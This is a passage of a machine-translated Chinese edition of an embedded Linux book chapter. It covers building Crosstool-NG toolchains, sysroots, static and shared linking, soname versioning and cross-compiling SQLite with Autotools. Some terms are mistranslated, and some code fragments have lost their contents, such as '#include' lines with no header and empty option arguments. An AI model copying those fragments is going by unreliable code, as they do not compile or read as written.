中,`eglibc`中的代码库被重新合并到`glibc`中。 不再维护`eglibc`库。 - -那么,该选哪一个呢? 我的建议是,只有在使用 uClinux 的情况下才使用`uClibc-ng`。 如果您的存储或 RAM 非常有限,则`musl libc`是一个很好的选择,否则,请使用`glibc`,如此流程图所示: - -![Figure 2.2 – Choosing a C library](img/B11566_02_002.jpg) - -图 2.2-选择 C 库 - -您对 C 库的选择可能会限制您对工具链的选择,因为并非所有预先构建的工具链都支持所有 C 库。 - -# 查找工具链 - -对于您的交叉开发工具链,您有三个选择:您可以找到一个符合您需求的现成工具链;您可以使用由嵌入式构建工具生成的工具链,这将在[*第 6 章*](06.html#_idTextAnchor164),*选择构建系统*中介绍;或者您也可以按照本章后面的描述自己创建一个工具链。 - -预先构建的跨工具链是一个很有吸引力的选择,因为您只需下载和安装它,但您仅限于该特定工具链的配置,并且您依赖于您从其获得它的个人或组织。 - -最有可能的是,它将是其中之一: - -* SoC 或电路板供应商。 大多数供应商都提供 Linux 工具链。 -* 致力于为给定体系结构提供系统级支持的联盟。 例如,Linaro([https://www.linaro.org](https://www.linaro.org))为 ARM 架构预建了工具链。 -* 第三方 Linux 工具供应商,如 Mentor Graphics、Timesys 或 MontaVista。 -* 桌面 Linux 发行版的跨工具包。 例如,基于 Debian 的发行版有用于交叉编译 ARM、MIPS 和 PowerPC 目标的包。 -* 由集成的嵌入式构建工具之一生成的二进制 SDK。 Yocto 项目在 http://downloads.yoctoproject.org/releases/yocto/yocto-[version]/toolchain.上有一些例子 -* 一个你再也找不到的论坛链接。 - -在所有这些情况下,您都必须决定提供的预构建工具链是否符合您的要求。 它是否使用您喜欢的 C 库? 提供商是否会为您提供安全修复和错误的更新,请记住我对[*第 1 章*](01.html#_idTextAnchor014)、*从*开始的支持和更新的评论。 如果你对其中任何一个的回答都是否定的,那么你应该考虑创建你自己的。 - -不幸的是,构建工具链并非易事。 如果您真的想自己做整个事情,请看一看*Cross Linux 从头开始*([https://trac.clfs.org](https://trac.clfs.org))。 在那里,您可以找到有关如何创建每个组件的分步说明。 - -一种更简单的替代方法是使用 Crossstool-NG,它将流程封装到一组脚本中,并且有一个菜单驱动的前端。 不过,你仍然需要一定程度的知识,才能做出正确的选择。 - -使用 Buildroot 或 Yocto Project 这样的构建系统更简单,因为它们会在构建过程中生成工具链。 这是我首选的解决方案,如我在[*第 6 章*](06.html#_idTextAnchor164),*选择构建系统*中所示。 - -随着 Crossstool-NG 的优势,构建您自己的工具链肯定是一个有效且可行的选择。 接下来让我们看看如何做到这一点。 - -# 使用 Crossstool-NG 构建工具链 - -几年前,DanKegel 编写了一组用于生成交叉开发工具链的脚本和生成文件,并将其称为 Crossstool([http://kegel.com/crosstool/](http://kegel.com/crosstool/))。 2007 年,扬恩·E·莫林(Yann E.Morin)利用这个基地创造了下一代交叉凳-NG([https://crosstool-ng.github.io](https://crosstool-ng.github.io))。 今天,它是目前为止从源代码创建独立交叉工具链的最方便的方式。 - -在本节中,我们将使用 Crossstool-NG 为 Beaglebone Black -和 QEMU 构建工具链。 - -## 安装十字架-NG - -在可以从源代码构建 Crossstool-NG 之前,您首先需要在主机上安装本地工具链和一些构建工具。 有关 Crossstool-NG 的构建和运行时依赖项的完整列表,请参阅本章开头的*技术要求*一节。 - -接下来,从 Crossstool-NG Git 存储库获取当前版本。 在我的示例中,我使用了版本`1.24.0`。 将其解压并创建前端菜单系统`ct-ng`,如以下命令所示: - -```sh -$ git clone https://github.com/crosstool-ng/crosstool-ng.git -$ cd crosstool-ng -$ git checkout crosstool-ng-1.24.0 -$ ./bootstrap -$ ./configure --prefix=${PWD} -$ make -$ make install -``` - -`--prefix=${PWD}`选项意味着程序将安装到当前目录中,这样就不需要 root 权限,如果要将其安装在默认位置`/usr/local/share`,则需要 root 权限。 - -我们现在有了个 Crossstool-NG 的工作安装,我们可以用它来构建交叉工具链。 键入`bin/ct-ng`以启动交叉架菜单。 - -## 打造 Beaglebone Black 的工具链 - -Crosstool-NG 可以构建许多不同的工具链组合。 为了简化初始配置,它附带了一组涵盖许多常见用例的示例。 使用`bin/ct-ng list-samples`生成列表。 - -Beaglebone Black 拥有 TI AM335x SoC,内含 ARM Cortex A8 内核和 VFPv3 浮点单元。 由于 Beaglebone Black 有足够的 RAM 和存储空间,我们可以使用`glibc`作为 C 库。 最近的样本是`arm-cortex_a8-linux-gnueabi`。 - -您可以通过在名称前加上`show-`前缀来查看默认配置,如 -所示: - -```sh -$ bin/ct-ng show-arm-cortex_a8-linux-gnueabi -[G...]   arm-cortex_a8-linux-gnueabi -    Languages       : C,C++ -    OS              : linux-4.20.8 -    Binutils        : binutils-2.32 -    Compiler        : gcc-8.3.0 -    C library       : glibc-2.29 -    Debug tools     : duma-2_5_15 gdb-8.2.1 ltrace-0.7.3 strace-4.26 -    Companion libs  : expat-2.2.6 gettext-0.19.8.1 gmp-6.1.2 isl-0.20 libelf-0.8.13 libiconv-1.15 mpc-1.1.0 mpfr-4.0.2 ncurses-6.1 zlib-1.2.11 -    Companion tools : -``` - -这与我们的要求非常匹配,只是它使用了`eabi`二进制接口,该接口在整数寄存器中传递浮点参数。 为此,我们更喜欢使用硬件浮点寄存器,因为它会加速具有`float`和`double`参数类型的函数调用。 您可以稍后更改配置,因此目前您应该选择此目标配置: - -```sh -$ bin/ct-ng arm-cortex_a8-linux-gnueabi -``` - -此时,您可以使用 Configuration(配置)菜单命令`menuconfig`查看配置并进行更改: - -```sh -$ bin/ct-ng menuconfig -``` - -菜单系统基于 Linux 内核`menuconfig`,因此任何配置过内核的人都会熟悉用户界面的导航。 如果没有,请参考[*第 4 章*](04.html#_idTextAnchor085),*配置和构建内核*,了解`menuconfig`的说明。 - -在这一点上,我建议您进行三项配置更改: - -* 在**路径和 Misc****选项**中,禁用**将工具链渲染为只读** - (`CT_PREFIX_DIR_RO`)。 -* 在**目标选项**|**浮点**中,选择**硬件**(**FPU**)(`CT_ARCH_FLOAT_HW`)。 -* 在**目标选项**中,为**输入`neon`作为**使用特定 FPU**。** - -如果您想在安装工具链之后将库添加到工具链中,那么第一个是必要的,稍后我将在*与库的链接*一节中对此进行描述。 第二个选择`eabihf`二进制接口,原因如前所述。 第三个是成功构建 Linux 内核所必需的。 括号中的名称是存储在配置文件中的配置标签。 进行更改后,退出`menuconfig`菜单并保存配置。 - -现在,您可以通过键入以下命令,使用 Crossstool-NG 根据您的规范获取、配置和构建组件: - -```sh -$ bin/ct-ng build -``` - -构建过程大约需要半个小时,之后您会发现您的工具链出现在`~/x-tools/arm-cortex_a8-linux-gnueabihf`中。 - -接下来,让我们构建一个针对 QEMU 的工具链。 - -## 为 QEMU 构建工具链 - -在 QEMU 目标上,您将模拟一个 ARM 通用 PB 评估板,它具有 ARM926EJ-S 处理器内核,可实现 ARMv5TE 指令集。 您需要生成一个与规范匹配的 Crossstool-NG 工具链。 该过程与 Beaglebone Black 的过程非常相似。 - -您可以从运行`bin/ct-ng list-samples`开始,找到可以使用的良好基本配置。 没有完全匹配,因此请使用通用目标`arm-unknown-linux-gnueabi`。 如图所示选择它,首先运行`distclean`以确保没有上一次构建留下的工件: - -```sh -$ bin/ct-ng distclean -$ bin/ct-ng arm-unknown-linux-gnueabi -``` - -与 Beaglebone Black 一样,您可以使用配置菜单命令`bin/ct-ng menuconfig`查看配置并进行更改 -。 只有一项改变是必要的: - -* 在**路径和其他选项**中,禁用**将工具链渲染为只读** - (`CT_PREFIX_DIR_RO`)。 - -现在,使用如下所示的命令构建工具链: - -```sh -$ bin/ct-ng build -``` - -和以前一样,建造将需要大约半个小时。 工具链将安装在`~/x-tools/arm-unknown-linux-gnueabi`中。 - -您将需要一个工作交叉工具链来完成下一节中的练习。 - -# 工具链的解剖 - -为了了解典型工具链中的是什么,我想检查一下您刚刚创建的 Crossstool-NG 工具链。 这些示例使用为 Beaglebone Black 创建的 ARM Cortex A8 工具链,前缀为`arm-cortex_a8-linux-gnueabihf-`。 如果您为 QEMU 目标构建了 ARM926EJ-S 工具链,则前缀将改为`arm-unknown-linux-gnueabi`。 - -ARM Cortex A8 工具链位于目录`~/x-tools/arm-cortex_a8-linux-gnueabihf/bin`中。 在那里,您将找到交叉编译器`arm-cortex_a8-linux-gnueabihf-gcc`。 要使用它,您需要使用以下命令将该目录添加到您的路径中: - -```sh -$ PATH=~/x-tools/arm-cortex_a8-linux-gnueabihf/bin:$PATH -``` - -现在您可以使用一个简单的`helloworld`程序,它在 C 语言中如下所示: - -```sh -#include -#include -int main (int argc, char *argv[]) -{ -    printf ("Hello, world!\n"); -    return 0; -} -``` - -您可以这样编译它: - -```sh -$ arm-cortex_a8-linux-gnueabihf-gcc helloworld.c -o helloworld -``` - -您可以通过使用`file`命令打印文件类型来确认它已经交叉编译: - -```sh -$ file helloworld -helloworld: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 4.20.8, with debug_info, not stripped -``` - -既然您已经验证了您的交叉编译器可以工作,那么让我们来仔细看看。 - -## 了解您的交叉编译器 - -假设您刚刚收到了一个工具链,并且您想要更多地了解它是如何配置的。 您可以通过查询`gcc`找到很多信息。 例如,要查找版本,可以使用`--version`: - -```sh -$ arm-cortex_a8-linux-gnueabihf-gcc --version -arm-cortex_a8-linux-gnueabihf-gcc (crosstool-NG 1.24.0) 8.3.0 -Copyright (C) 2018 Free Software Foundation, Inc. -This is free software; see the source for copying conditions.  There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. -``` - -要了解其配置方式,请使用`-v`: - -```sh -$ arm-cortex_a8-linux-gnueabihf-gcc -v -Using built-in specs. -COLLECT_GCC=arm-cortex_a8-linux-gnueabihf-gcc -COLLECT_LTO_WRAPPER=/home/frank/x-tools/arm-cortex_a8-linux-gnueabihf/libexec/gcc/arm-cortex_a8-linux-gnueabihf/8.3.0/lto-wrapper -Target: arm-cortex_a8-linux-gnueabihf -Configured with: /home/frank/crosstool-ng/.build/arm-cortex_a8-linux-gnueabihf/src/gcc/configure --build=x86_64-build_pc-linux-gnu --host=x86_64-build_pc-linux-gnu --target=arm-cortex_a8-linux-gnueabihf --prefix=/home/frank/x-tools/arm-cortex_a8-linux-gnueabihf --with-sysroot=/home/frank/x-tools/arm-cortex_a8-linux-gnueabihf/arm-cortex_a8-linux-gnueabihf/sysroot --enable-languages=c,c++ --with-cpu=cortex-a8 --with-float=hard --with-pkgversion='crosstool-NG 1.24.0' --enable-__cxa_atexit --disable-libmudflap --disable-libgomp --disable-libssp --disable-libquadmath --disable-libquadmath-support --disable-libsanitizer --disable-libmpx --with-gmp=/home/frank/crosstool-ng/.build/arm-cortex_a8-linux-gnueabihf/buildtools --with-mpfr=/home/frank/crosstool-ng/.build/arm-cortex_a8-linux-gnueabihf/buildtools --with-mpc=/home/frank/crosstool-ng/.build/arm-cortex_a8-linux-gnueabihf/buildtools --with-isl=/home/frank/crosstool-ng/.build/arm-cortex_a8-linux-gnueabihf/buildtools --enable-lto --with-host-libstdcxx='-static-libgcc -Wl,-Bstatic,-lstdc++,-Bdynamic -lm' --enable-threads=posix --enable-target-optspace --enable-plugin --enable-gold --disable-nls --disable-multilib --with-local-prefix=/home/frank/x-tools/arm-cortex_a8-linux-gnueabihf/arm-cortex_a8-linux-gnueabihf/sysroot --enable-long-long -Thread model: posix -gcc version 8.3.0 (crosstool-NG 1.24.0) -``` - -这里有很多输出,但需要注意的有趣事情如下: - -* `--with-sysroot=/home/frank/x-tools/arm-cortex_a8-linux-gnueabihf/arm-cortex_a8-linux-gnueabihf/sysroot`:这是默认的`sysroot`目录,说明见下一节。 -* `--enable-languages=c,c++`:使用它,我们同时启用了 C 和 C++ - 语言。 -* `--with-cpu=cortex-a8`:代码是为 ARM Cortex A8 内核生成的。 -* `--with-float=hard`:为浮点单元生成操作码,并使用 VFP 寄存器作为参数。 -* `--enable-threads=posix`:这将启用 POSIX 线程。 - -这些是编译器的默认设置。 您可以在`gcc`命令行上覆盖它们中的大多数。 例如,如果要针对不同的 CPU 进行编译,可以通过将`-mcpu`添加到命令行来覆盖配置的设置`--with-cpu`,如下所示: - -```sh -$ arm-cortex_a8-linux-gnueabihf-gcc -mcpu=cortex-a5 \ helloworld.c \ --o helloworld -``` - -您可以使用`--target-help`打印出可用的体系结构特定选项范围,如下所示: - -```sh -$ arm-cortex_a8-linux-gnueabihf-gcc --target-help -``` - -您可能想知道在这一点上获得正确的配置是否重要,因为您总是可以按如下所示进行更改。 答案取决于你预期使用它的方式。 如果您计划为每个目标创建一个新的工具链,那么在开始时设置所有内容是有意义的,因为这将降低以后出错的风险。 跳到[*第 6 章*](06.html#_idTextAnchor164),*选择构建系统*,我称之为 Buildroot 哲学。 另一方面,如果您想要构建一个通用的工具链,并且您准备在为特定目标构建时提供正确的设置,那么您应该使基本工具链成为通用的,这就是 Yocto 项目处理事情的方式。 前面的示例遵循 Buildroot 的理念。 - -## sysroot、库和头文件 - -工具链`sysroot`是一个目录,其中包含库、头文件和其他配置文件的子目录。 它可以在通过`--with-sysroot=`配置工具链时设置,也可以使用`--sysroot=`在命令行上设置。 您可以使用`-print-sysroot`查看默认`sysroot`的位置: - -```sh -$ arm-cortex_a8-linux-gnueabihf-gcc -print-sysroot -/home/frank/x-tools/arm-cortex_a8-linux-gnueabihf/arm-cortex_a8-linux-gnueabihf/sysroot -``` - -您将在`sysroot`中找到以下子目录: - -* `lib`:包含 C 库和动态链接器/加载器的共享对象`ld-linux` -* `usr/lib`:C 库的静态库存档文件,以及后续可能安装的任何其他库 -* `usr/include`:包含所有库的标头 -* `usr/bin`:包含在目标系统上运行的实用程序,如 - `ldd`命令 -* `usr/share`:用于本地化和国际化的 -* `sbin`:提供`ldconfig`实用程序,用于优化库加载路径 - -显然,在开发主机上需要其中的一些来编译程序,而其他的,例如共享库和`ld-linux`,在运行时需要在目标上。 - -## 工具链中的其他工具 - -下面是用于调用 GNU 工具链的各种其他组件的命令列表,并附有简要说明: - -* `addr2line`:通过读取可执行文件中的调试符号表,将程序地址转换为文件名和编号。 在对系统崩溃报告中打印的地址进行解码时,它非常有用。 -* `ar`:存档实用程序用于创建静态库。 -* `as`:这是 GNU 汇编器。 -* `c++filt`:这是用来拆分 C++和 Java 符号的。 -* `cpp`:这是 C 预处理器,用于扩展`#define`、`#include`和其他类似指令。 您很少需要单独使用它。 -* `elfedit`:用于更新 ELF 文件的 ELF 头。 -* `g++`:这是 GNU C++前端,它假设源文件包含 - C++代码。 -* `gcc`:这是 GNU C 前端,它假设源文件包含 C 代码。 -* `gcov`:这是一个代码覆盖工具。 -* `gdb`:这是 GNU 调试器。 -* `gprof`:这是一个程序分析工具。 -* `ld`:这是 GNU 链接器。 -* `nm`:列出目标文件中的符号。 -* `objcopy`:用于复制和翻译目标文件。 -* `objdump`:用于显示目标文件中的信息。 -* `ranlib`:这将在静态库中创建或修改索引,从而使链接阶段更快。 -* `readelf`:它以 ELF 对象格式显示有关文件的信息。 -* `size`:列出部分大小和总大小。 -* `strings`:这将显示文件中的可打印字符串。 -* `strip`:这用于从调试符号表中剥离目标文件,从而使其更小。 通常,您会剥离放到目标上的所有可执行代码。 - -现在我们将从命令行工具切换到 C 库的主题。 - -## 看看 C 库的组件 - -C 库不是单个库文件。 它由四个主要部分组成,它们共同实现 POSIX API: - -* `libc`:包含众所周知的 POSIX 函数(如`printf`、`open`、`close`、`read`、`write`等)的主 C 库 -* `libm`:包含数学函数,如`cos`、`exp`和`log` -* `libpthread`:包含名称以 - 以`pthread_`开头的所有 POSIX 线程函数 -* `librt`:具有 POSIX 的实时扩展,包括共享内存和异步 I/O - -第一个参数`libc`始终链接在一起,但其他参数必须与`-l`选项显式链接。 `-l`的参数是去掉了`lib`的库名。 例如,通过调用`sin()`计算正弦函数的程序将使用`-lm`与`libm`链接: - -```sh -$ arm-cortex_a8-linux-gnueabihf-gcc myprog.c -o myprog -lm -``` - -您可以使用`readelf`命令验证此程序或任何其他程序中链接了哪些库: - -```sh -$ arm-cortex_a8-linux-gnueabihf-readelf -a myprog | grep "Shared library" - 0x00000001 (NEEDED)               Shared library: [libm.so.6] - 0x00000001 (NEEDED)               Shared library: [libc.so.6] -``` - -共享库需要一个运行时链接器,您可以使用以下命令公开该链接器: - -```sh -$ arm-cortex_a8-linux-gnueabihf-readelf -a myprog | grep "program interpreter" -    [Requesting program interpreter: /lib/ld-linux-armhf.so.3] -``` - -这非常有用,我有一个名为`list-libs`的脚本文件,您可以在`MELP/list-libs`的图书代码归档中找到它。 它包含以下命令: - -```sh -#!/bin/sh -${CROSS_COMPILE}readelf -a $1 | grep "program interpreter" -${CROSS_COMPILE}readelf -a $1 | grep "Shared library" -``` - -除了 C library 的四个组件之外,我们还可以链接到其他库文件。我们将在下一节中研究如何做到这一点。 - -# 与库链接-静态和动态链接 - -您为 Linux 编写的任何应用,无论是用 C 还是 C++编写的,都将与`libc`C 库链接。 这是非常基本的,您甚至不需要告诉`gcc`或`g++`就可以这么做,因为它总是链接到`libc`。 您可能想要链接的其他库必须通过`-l`选项显式地命名为。 - -库代码可以通过两种不同的方式链接:静态的,意味着应用调用的所有库函数及其依赖项都从库存档中提取并绑定到可执行文件中;动态的,意味着对库文件和这些文件中的函数的引用是在代码中生成的,但实际的链接是在运行时动态完成的。 您可以在`MELP/Chapter02/library`中的图书代码归档中找到以下示例的代码。 - -我们将从静态链接开始。 - -## 静态库 - -静态链接在少数情况下很有用。 例如,如果您正在构建一个仅由 BusyBox 和一些脚本文件组成的小型系统,静态链接 BusyBox 会更简单,并且不必复制运行时库文件和链接器。 它也会更小,因为您只链接了应用使用的代码,而不是提供整个 C 库。 如果需要在存放运行时库的文件系统可用之前运行程序,则静态链接也很有用。 - -您可以通过将`-static`添加到命令行来静态链接所有库: - -```sh -$ arm-cortex_a8-linux-gnueabihf-gcc -static helloworld.c -o helloworld-static -``` - -您会注意到,二进制文件的大小会急剧增加: - -```sh -$ ls -l -total 4060 --rwxrwxr-x 1 frank frank   11816 Oct 23 15:45 helloworld --rw-rw-r-- 1 frank frank     123 Oct 23 15:35 helloworld.c --rwxrwxr-x 1 frank frank 4140860 Oct 23 16:00 helloworld-static -``` - -静态链接从通常名为`lib[name].a`的库归档中提取代码。 在前面的例子中,它是`libc.a`,它在`[sysroot]/usr/lib`中: - -```sh -$ export SYSROOT=$(arm-cortex_a8-linux-gnueabihf-gcc -print-sysroot) -$ cd $SYSROOT -$ ls -l usr/lib/libc.a --rw-r--r-- 1 frank frank 31871066 Oct 23 15:16 usr/lib/libc.a -``` - -注意,语法导出`SYSROOT=$(arm-cortex_a8-linux-gnueabihf-gcc -print-sysroot)`将指向`sysroot`的路径放在 shell 变量`SYSROOT`中,这使得示例更加清晰。 - -创建静态库就像使用`ar`命令创建目标文件存档一样简单。 如果我有两个名为`test1.c`和`test2.c`的源文件,并且我想创建一个名为`libtest.a`的静态库,那么我将执行以下操作: - -```sh -$ arm-cortex_a8-linux-gnueabihf-gcc -c test1.c -$ arm-cortex_a8-linux-gnueabihf-gcc -c test2.c -$ arm-cortex_a8-linux-gnueabihf-ar rc libtest.a test1.o test2.o -$ ls -l -total 24 --rw-rw-r-- 1 frank frank 2392 Oct 9 09:28 libtest.a --rw-rw-r-- 1 frank frank 116 Oct 9 09:26 test1.c --rw-rw-r-- 1 frank frank 1080 Oct 9 09:27 test1.o --rw-rw-r-- 1 frank frank 121 Oct 9 09:26 test2.c --rw-rw-r-- 1 frank frank 1088 Oct 9 09:27 test2.o -``` - -然后,我可以使用以下命令将`libtest`链接到我的`helloworld`程序: - -```sh -$ arm-cortex_a8-linux-gnueabihf-gcc helloworld.c -ltest \ --L../libs -I../libs -o helloworld -``` - -现在,让我们使用动态链接重新构建相同的程序。 - -## 共享库 - -部署库的一种更常见的方法是作为在运行时链接的共享对象,这可以更有效地利用存储和系统内存,因为只需要加载代码的一个副本。 它还可以方便地更新库文件,而无需重新链接所有使用它们的程序。 - -共享库的目标代码必须与位置无关,以便运行时链接器可以在内存中的下一个空闲地址自由定位它。 为此,请将`-fPIC`参数添加到`gcc`,然后使用`-shared`选项将其链接: - -```sh -$ arm-cortex_a8-linux-gnueabihf-gcc -fPIC -c test1.c -$ arm-cortex_a8-linux-gnueabihf-gcc -fPIC -c test2.c -$ arm-cortex_a8-linux-gnueabihf-gcc -shared -o libtest.so test1.o test2.o -``` - -这将创建共享库`libtest.so`。 要将应用链接到该库,需要添加`-ltest`,这与上一节提到的静态情况完全相同,但这一次代码不包括在可执行文件中。 相反,有一个对运行时链接器必须解析的库的引用: - -```sh -$ arm-cortex_a8-linux-gnueabihf-gcc helloworld.c -ltest \ --L../libs -I../libs -o helloworld -$ MELP/list-libs helloworld -    [Requesting program interpreter: /lib/ld-linux-armhf.so.3] - 0x00000001 (NEEDED)            Shared library: [libtest.so.6] - 0x00000001 (NEEDED)            Shared library: [libc.so.6] -``` - -该程序的运行时链接器是`/lib/ld-linux-armhf.so.3`,它必须存在于目标的文件系统中。 链接器将在默认搜索路径`/lib`和`/usr/lib`中查找`libtest.so`。 如果您还希望它在其他目录中查找库,您可以在`LD_LIBRARY_PATH`shell 变量中放置一个冒号分隔的路径列表: - -```sh -$ export LD_LIBRARY_PATH=/opt/lib:/opt/usr/lib -``` - -因为共享库与它们链接的可执行文件是分开的,所以我们在部署它们时需要知道它们的版本。 - -### 了解共享库版本号 - -共享库的好处之一是它们可以独立于使用它们的程序进行更新。 - -库更新有两种类型: - -* 以向后兼容的方式修复错误或添加新功能的那些 -* 那些破坏与现有应用兼容性的问题 - -GNU/Linux 有一个版本控制方案来处理这两种情况。 - -每个库都有一个发布版本和一个端口号。 发布版本只是一个附加到库名后面的字符串;例如,JPEG 图像库`libjpeg`当前的版本是`8.2.2`,因此该库被命名为`libjpeg.so.8.2.2`。 有一个名为`libjpeg.so`的符号链接指向`libjpeg.so.8.2.2`,因此当您使用`-ljpeg`编译程序时,您将链接到当前版本。 如果安装版本`8.2.3`,链接将更新,您将改为与该版本链接。 - -现在假设版本`9.0.0`出现,它打破了向后兼容性。 现在,从`libjpeg.so`到`libjpeg.so.9.0.0`的链接指向`libjpeg.so.9.0.0`,因此任何新程序都会链接到新版本,这可能会在到`libjpeg`的接口更改时抛出编译错误,开发人员可以修复这些错误。 - -目标上任何未重新编译的程序都会以某种方式失败,因为它们仍在使用旧接口。 这就是称为**soname**的对象提供帮助的地方。 Soname 对构建库时的接口编号进行编码,并由运行时链接器在加载库时使用。 它的格式为`.so.`。 对于`libjpeg.so.8.2.2`,soname 是`libjpeg.so.8`,因为构建`libjpeg`共享库时的 e 端口号是`8`: - -```sh -$ readelf -a /usr/lib/x86_64-linux-gnu/libjpeg.so.8.2.2 \ -| grep SONAME - 0x000000000000000e (SONAME)    Library soname: [libjpeg.so.8] -``` - -用它编译的任何程序都将在运行时请求`libjpeg.so.8`,这将是目标系统上指向`libjpeg.so.8.2.2`的符号链接。 安装`libjpeg`的版本`9.0.0`时,其名称将为`libjpeg.so.9`,因此可能会在同一系统上安装同一个库的两个不兼容版本。 与`libjpeg.so.8.*.*`链接的程序将加载`libjpeg.so.8`,与`libjpeg.so.9.*.*`链接的程序将加载`libjpeg.so.9`。 - -这就是为什么,当您查看`/usr/lib/x86_64-linux-gnu/libjpeg*`的目录列表时,您会发现以下四个文件: - -* `libjpeg.a`:这是用于静态链接的库存档。 -* `libjpeg.so -> libjpeg.so.8.2.2`:这是一个符号链接,用于动态链接。 -* `libjpeg.so.8 -> libjpeg.so.8.2.2`:这是一个符号链接,在运行时加载库时使用。 -* `libjpeg.so.8.2.2`:这是实际的共享库,在编译时和运行时都使用。 - -前两个只需要在构建时在主机上使用,后两个在运行时需要在目标上使用。 - -虽然您可以直接从命令行调用各种 GNU 交叉编译工具,但此技术不会超出`helloworld`这样的玩具示例。 要真正有效地进行交叉编译,我们需要将交叉工具链与构建系统结合起来。 - -# 交叉编译的艺术 - -拥有一个有效的交叉工具链是旅程的起点,而不是终点。 在某些情况下,您可能希望开始交叉编译目标上所需的各种工具、应用和库。 其中许多将是开放源码的包,每个包都有自己的编译方法和自己的特点。 - -有一些常见的构建系统,包括: - -* 纯 Make 文件,其中工具链通常由`make`变量`CROSS_COMPILE`控制 -* GNU 构建系统称为,即**AutoTools** -* **CMake**([https://cmake.org](https://cmake.org)) - -构建一个基本的嵌入式 Linux 系统都需要 Autotools 和 Make 文件。 CMake 是跨平台的,多年来得到了越来越多的采用,特别是在 C++社区中。 在本节中,我们将介绍所有三种构建工具。 - -## 简单的生成文件 - -一些重要的包非常容易交叉编译,包括 Linux 内核、U-Boot 引导加载程序和 BusyBox。 对于其中的每一个,您只需要将工具链前缀放在`make`变量`CROSS_COMPILE`中,例如,`arm-cortex_a8-linux-gnueabi-`。 请注意尾部的破折号`-`。 - -因此,要编译 BusyBox,您需要键入以下内容: - -```sh -$ make CROSS_COMPILE=arm-cortex_a8-linux-gnueabihf- -``` - -或者,您可以将其设置为 shell 变量: - -```sh -$ export CROSS_COMPILE=arm-cortex_a8-linux-gnueabihf- -$ make -``` - -对于 U-Boot 和 Linux,您还必须将`make`变量`ARCH`设置为它们支持的机器体系结构之一,我将在[*第 3 章*](03.html#_idTextAnchor061)、*All About Bootloaders*和[*第 4 章*](04.html#_idTextAnchor085)、*配置和构建内核*中介绍这一点。 - -AutoTools 和 CMake 都可以生成生成文件。 AutoTools 只生成 Make 文件,而 CMake 支持其他构建项目的方式,这取决于我们针对的是哪种 -平台(在我们的例子中,严格地说是 Linux)。 让我们先看一下使用 Autotools 交叉编译 -。 - -## 自动工具 - -名称 Autotools 指的是在许多开源项目中用作构建系统的组工具。 这些组件以及个相应的项目页面如下所示: - -* GNU Autoconf([https://www.gnu.org/soft/autoconf/autoconf.html](https://www.gnu.org/software/autoconf/autoconf.html)) -* GNU Automake([https://www.gnu.org/savannah-checkouts/gnu/automake/](https://www.gnu.org/savannah-checkouts/gnu/automake/)) -* GNUhttps://www.gnu.org/software/libtool/libtool.html([LIBTool](https://www.gnu.org/software/libtool/libtool.html)) -* Gnulib(https:/www.gnu.org/ Software/gnulib/ - -AutoTools 的作用是消除可能编译软件包的不同类型系统之间的差异,包括不同版本的编译器、不同版本的库、不同位置的头文件以及与其他软件包的依赖关系。 - -使用 AutoTools 的包附带一个名为`configure`的脚本,该脚本检查依赖项并根据找到的内容生成 makefile。 `configure`脚本还可以让您启用或禁用某些功能。 您可以通过运行`./configure --help`找到提供的选项。 - -要为本机操作系统配置、构建和安装软件包,通常需要运行以下三个命令: - -```sh -$ ./configure -$ make -$ sudo make install -``` - -AutoTools 也能够处理交叉开发。 您可以通过设置以下 shell 变量来影响已配置脚本的行为: - -* `CC`:C 编译器命令。 -* `CFLAGS`:附加的 C 编译器标志。 -* `CXX`:C++编译器命令。 -* `CXXFLAGS`:附加的 C++编译器标志。 -* `LDFLAGS`:附加链接器标志;例如,如果非标准目录``中有库,则可以通过添加`-L.`将其添加到库搜索路径 - -* `LIBS`:包含要传递给链接器的其他库的列表;例如,数学库的列表为 - `-lm`。 -* `CPPFLAGS`:包含 C/C++预处理器标志;例如,可以添加`-I`以在非标准目录 - `.`中搜索标头 -* `CPP`:要使用的 C 预处理器。 - -有时仅设置`CC`变量就足够了,如下所示: - -```sh -$ CC=arm-cortex_a8-linux-gnueabihf-gcc ./configure -``` - -在其他时候,这将导致如下错误: - -```sh -[…] -checking for suffix of executables... -checking whether we are cross compiling... configure: error: in '/home/frank/sqlite-autoconf-3330000': -configure: error: cannot run C compiled programs. -If you meant to cross compile, use '--host'. -See 'config.log' for more details -``` - -失败的原因是`configure`经常试图通过编译代码片段并运行它们来发现工具链的功能,以查看会发生什么,如果程序已经交叉编译,这将无法工作。 - -重要音符 - -交叉编译时将`--host=`传递给`configure`,以便`configure`在您的系统中搜索针对指定``平台的交叉编译工具链。 这样,`configure`就不会在配置步骤中尝试运行非本机代码片段。 - -AutoTools 了解编译软件包时可能涉及的三种不同类型的计算机: - -* **Build**:构建包的计算机,默认为当前计算机。 -* **主机**:将在其上运行程序的计算机。 对于本机编译,此字段留空,默认为与内部版本相同的计算机。 在交叉编译时,将其设置为工具链的元组。 -* **Target**:程序将为其生成代码的计算机。 您可以在构建交叉编译器时设置此设置。 - -因此,要交叉编译,只需覆盖宿主,如下所示: - -```sh -$ CC=arm-cortex_a8-linux-gnueabihf-gcc \ -./configure --host=arm-cortex_a8-linux-gnueabihf -``` - -最后需要注意的是,默认安装目录是`/usr/local/*`。 -您通常会将其安装在`/usr/*`中,这样头文件和库就会从它们的默认位置拾取。 - -配置典型自动工具包的完整命令如下所示: - -```sh -$ CC=arm-cortex_a8-linux-gnueabihf-gcc \ -./configure --host=arm-cortex_a8-linux-gnueabihf --prefix=/usr -``` - -让我们更深入地研究 Autotools,并使用它交叉编译一个流行的库。 - -### 示例-SQLite - -SQLite 库实现了一个简单的关系数据库,在嵌入式设备上非常流行。 您可以从获取一份 SQLite 开始: - -```sh -$ wget http://www.sqlite.org/2020/sqlite-autoconf-3330000.tar.gz -$ tar xf sqlite-autoconf-3330000.tar.gz -$ cd sqlite-autoconf-3330000 -``` - -接下来,运行`configure`脚本: - -```sh -$ CC=arm-cortex_a8-linux-gnueabihf-gcc \ -./configure --host=arm-cortex_a8-linux-gnueabihf --prefix=/usr -``` - -这似乎奏效了! 如果失败,将有错误信息打印到终端并记录在`config.log`中。 请注意,已经创建了几个 makefile,因此现在您可以构建它: - -```sh -$ make -``` - -最后,通过设置`make`变量`DESTDIR`将其安装到工具链目录中。 如果不这样做,它将尝试将其安装到主机计算机的`/usr`目录中,而这不是您想要的: - -```sh -$ make DESTDIR=$(arm-cortex_a8-linux-gnueabihf-gcc -print-sysroot) install 